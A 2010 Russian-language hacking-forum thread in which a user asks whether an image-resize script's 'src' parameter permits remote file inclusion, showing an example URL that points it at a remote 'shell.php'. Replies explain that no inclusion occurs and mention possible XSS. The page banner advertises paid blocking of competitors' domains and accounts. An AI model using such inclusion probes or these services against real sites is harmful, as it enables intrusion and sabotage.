php-including

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Песочница
php-including

Опции темы

Поиск в этой теме

Опции просмотра

03.08.2010, 08:12

Dread

Познающий

Регистрация: 04.12.2005

Сообщений: 31

С нами: 10753767

Репутация: 5

не знаю уязвимость ли это и можно ли это как то юзать....

есть скрипт ресайза и в нём проходит глобальный инклуд, с картинками проходит на ура а вот с остальными форматами не понятно

http://site.com/lol.php?src=http://somesite.com/image.jpg

проблема в том что я не пойму исполняется ли такой код

http://site.com/lol.php?src=http://somesite.com/shell.php

потому что в ответ получаю вот что

получается что браузер выдаёт мне нерабочую картинку так как ответ возвращается в тЭге

скорее всего скрипт не фильтрует форматы файлов, так как подгружаются картинки даже таких видов как http://somesite.com/image.php?u=5199&dateline=11989523

𝕏 Twitter Reddit Telegram Копировать ссылку

03.08.2010, 08:28

Ponchik

Постоянный

Регистрация: 30.08.2005

Сообщений: 730

С нами: 10892546

Репутация: 2274

Эмм... Тоесть на сервер такой скрипт

PHP код:


		
			
[COLOR="#000000"]

[/COLOR]' width='700' height='700'>

[/COLOR]

Так это никакая не уязвимость...

Хотя XSS может прокатить

03.08.2010, 08:57

Dread

Познающий

Регистрация: 04.12.2005

Сообщений: 31

С нами: 10753767

Репутация: 5

Цитата:

Сообщение от Ponchik

Эмм... Тоесть на сервер такой скрипт

PHP код:


		
			
[COLOR="#000000"]

[/COLOR]' width='700' height='700'>

[/COLOR]

Так это никакая не уязвимость...
Хотя XSS может прокатить

"width='700' height='700'" тоже можно подставлять параметры

http://site.com/lol.php?src=112222.jpg&w=709&h=696

то есть выполнение кода не происходит....засада(

03.08.2010, 09:29

M_script

Новичок

Регистрация: 04.11.2004

Сообщений: 5

С нами: 11322426

Репутация: 0

Тут инклуда и быть не может. Только если разработчик движка наркоман и к пхп-коду решил подключать картинку =)

Если в исходнике присутствует текст из запроса, есть вероятность внедрения JS кода, то есть XSS

upd:

Смысл пхп-инклуда в том, чтобы внедрить свой код, который выполнится на сервере. Картинки - это всего лишь ссылки в получаемом от сервера html-коде. Браузер скачивает картинки по этим ссылкам и выводит их на страницу.

Предыдущая тема Следующая тема

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход